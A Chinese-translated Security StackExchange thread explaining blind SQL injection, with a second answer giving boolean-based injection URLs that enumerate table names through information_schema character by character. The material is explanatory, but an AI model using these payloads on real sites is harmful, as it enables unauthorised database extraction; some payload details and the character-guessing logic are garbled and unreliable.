什么是盲SQL注入,它与普通SQL注入有什么不同?如何模拟盲注射的问题?
发布于 2014-05-26 05:13:53
顾名思义,该技术注入SQL,但在“盲目”的情况下:响应请求,您将不会收到显示SQL注入漏洞的错误消息,例如:
字符串‘’之后的未闭合引号。
无法扣除该漏洞的存在并不意味着该漏洞不存在。
对此进行测试的一个常见方法是让服务器延迟响应:如果服务器立即响应,则不会受到攻击。如果花费更多的时间(例如,10秒),就很容易受到攻击。
OWASP有一个很好的页面,而且(更多的)更多的信息可以在SlideShare和InterN0T论坛上获得。
发布于 2014-06-05 20:26:29
在盲目SQL注入中,结果不会直接出现在网页上,而是会得到网页响应。如果它加载的很好,这意味着所有的内容出现在网页上,或者它丢失了一些内容。
手动注入盲目是耗时的,但它仍然很有趣,您只需要在SQL方面很好。
例如:
site.com/gallery.php?id=1 and 1=1-- - will load fine
site.com/gallery.php?id=1 and (select 1)=1-- - will also load fineMySQL versions=>5有您可以选择的information_schema.tables:
site.com/gallery.php?id=1 and substring((select concat(1,table_name) from information_schema.tables where table_schema=database()),1,1)=1-- - 上面的内容也会很好地加载,因为我们只使用子字符串函数并将其与1进行比较来获得第一个字符。
函数根据指定的参数将字符串的一部分返回给您。
如果负载良好,则选择:
site.com/gallery.php?id=1 and substring(ASCII((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1)>1-- -现在您需要一个ascii表来检查(您可以搜索它):
site.com/gallery.php?id=1 and substring(ASCII((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1)>96-- -如果上面的负载,它意味着它可以是'a‘to 'z’。然后你看到它是否在98,而不是在99,如果是,那么99是字母表中的第一个字符,即'c‘。
现在,对于下一个字符,需要将子字符串函数更改为:
site.com/gallery.php?id=1 and substring(ASCII((select table_name from information_schema.tables where table_schema=database() limit 0,1)),2,1)>96-- -这是大多数渗透测试工具使用的主要逻辑。我已经使用MySQL和MSSQL手动确认了它。
这里要添加的另一件事是,工具在检查and 1=1时会选择关键字,然后验证该关键字是否出现在页面上,并做出决定。
https://security.stackexchange.com/questions/58719
复制相似问题